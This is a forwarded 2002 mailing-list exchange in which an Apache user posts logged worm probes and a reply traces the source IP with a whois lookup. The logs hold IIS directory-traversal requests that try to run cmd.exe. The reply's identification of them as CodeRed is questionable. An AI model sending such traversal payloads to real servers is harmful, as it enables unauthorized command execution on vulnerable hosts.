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[Fwd: Re: Blocking hackers]

Fwd: Re: Blocking hackers Joseph Jackson 1 participant 1 message Jun 21, 2002

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Quoted 49 lines · Phillp Morgan

Hi,

It looks like someone is trying to break into my system. This is out of my apache error log...

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61.243.140.78 - - [21/Jun/2002:13:58:29 +1000] "GET /MSADC/root.exe?/c+dir

HTTP/1.0" 404 -

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61.243.140.78 - - [21/Jun/2002:13:58:30 +1000] "GET

/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

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61.243.140.78 - - [21/Jun/2002:13:58:31 +1000] "GET

/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

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61.243.140.78 - - [21/Jun/2002:13:58:32 +1000] "GET

/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

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61.243.140.78 - - [21/Jun/2002:13:58:33 +1000] "GET

/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+di r HTTP/1.0" 404 -

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61.243.140.78 - - [21/Jun/2002:13:58:34 +1000] "GET

/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+di r HTTP/1.0" 404 -

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61.243.140.78 - - [21/Jun/2002:13:58:36 +1000] "GET

/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../ winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

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61.243.140.78 - - [21/Jun/2002:13:58:29 +1000] "GET /MSADC/root.exe?/c+dir

HTTP/1.0" 404 -

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61.243.140.78 - - [21/Jun/2002:13:58:30 +1000] "GET

/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

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61.243.140.78 - - [21/Jun/2002:13:58:31 +1000] "GET

/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

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61.243.140.78 - - [21/Jun/2002:13:58:32 +1000] "GET

/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

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61.243.140.78 - - [21/Jun/2002:13:58:33 +1000] "GET

/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

This is the pattern of the CodeRed virus that was going around the net a few months ago. You are safe from it of course since it is targeted at windows machines running unpatched versions of IIS.

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Is there any way I can block this nasty person?

Who should I report this to?

As to who you should report this to I did a lookup on the ip address and this is the data

Search the APNIC Whois database
Search results for '61.243.140.78'

inetnum              61.240.0.0 - 61.243.255.255
netname              UNICOM
descr                China United Telecommunications Corporation
descr                Beijing Railway Station East Avenue
country              CN
admin-c              RX9-AP, inverse
tech-c               RX9-AP, inverse
mnt-by               MAINT-CNNIC-AP, inverse
mnt-lower            MAINT-CN-CNNIC-UNICOM, inverse
changed              [email protected] 20010817
changed              [email protected] 20010828
source               APNIC

Since it seems to come from a user in China I doubt there is anything at all you could do.

Even tring to get ahold of the system admins in China is very very hard. I wouldn't worry about it at all it looks like a random scan of your domain and from a client that is set up to scan whole ranges of addresses no worries.

Joseph Jackson

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